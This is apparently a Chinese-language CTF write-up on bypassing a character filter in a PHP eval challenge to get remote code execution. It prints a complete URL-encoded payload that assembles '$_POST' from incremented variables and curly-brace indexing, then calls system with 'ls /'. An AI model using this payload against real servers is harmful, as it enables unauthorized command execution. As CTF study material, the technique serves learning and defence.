记一次RCE
0x01 前言
今天随便搞了一个比赛,结果吧,我勒个刚,第一个RCE
就绕不出来
0x02 action
1 |
|
首先观察这个function
先,我就是理解错了,他的意思是将不重复的字符记在数组之中
1 | 例如: |
其次过滤了这些字符
- 小写字母 (
a-z
) - 数字 (
0-9
) <
,>
,?
,[
,]
,*
,@
,|
,^
,~
,&
, 和空白字符 (\s
)
有大写字母,那么开始
第一重
以为可以环境变量配置,但是没有数字的话,又需要嵌入环境变量来获取数字,那么果断放弃
第二重
自增符号未被过滤,这里可以考虑自增,但是昂,我们这里是没有[]
的,所以我们需要使用{}
来构造payload
,那么既然有eval
,我们直接把print
闭合了,然后执行命令
最终的执行就是
1 | eval( "print(_);$_POST{_}($_POST{__});"); |
首先我们要得到N
那么最先我们要有0和1来依靠除法数组一个元素得到N
1 |
|
鉴于第一次用{}
来弄,所以我还是写的挺慢的
最后还需要把+
进行ur
l编码
1 | $_=++$____;--$__;$____=((_/_).''){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________='_'.$______.$_____.$_______.$________;$$_________{_}($$_________{__} |
1 | cmd=_);$_=%2b%2b$____;--$__;$____=((_/_).''){$__};$_____=%2b%2b$____;%2b%2b$____;$______=$____;%2b%2b$____;%2b%2b$____;%2b%2b$____;$_______=$____;%2b%2b$____;$________=$____;$_________='_'.$______.$_____.$_______.$________;$$_________{_}($$_________{__}&_=system&__=ls / |
终于是getshell
了
0x03 小结
这次还是可以,收获了一个新姿势,虽然过程非常煎熬,比如不知道如何得到N
,之前遇到的都是[]
,beautiful!!!
- Title: 记一次RCE
- Author: baozongwi
- Created at : 2024-08-09 17:30:24
- Updated at : 2024-08-09 18:30:00
- Link: https://baozongwi.xyz/2024/08/09/记一次RCE/
- License: This work is licensed under CC BY-NC-SA 4.0.
推荐阅读
推荐阅读
Comments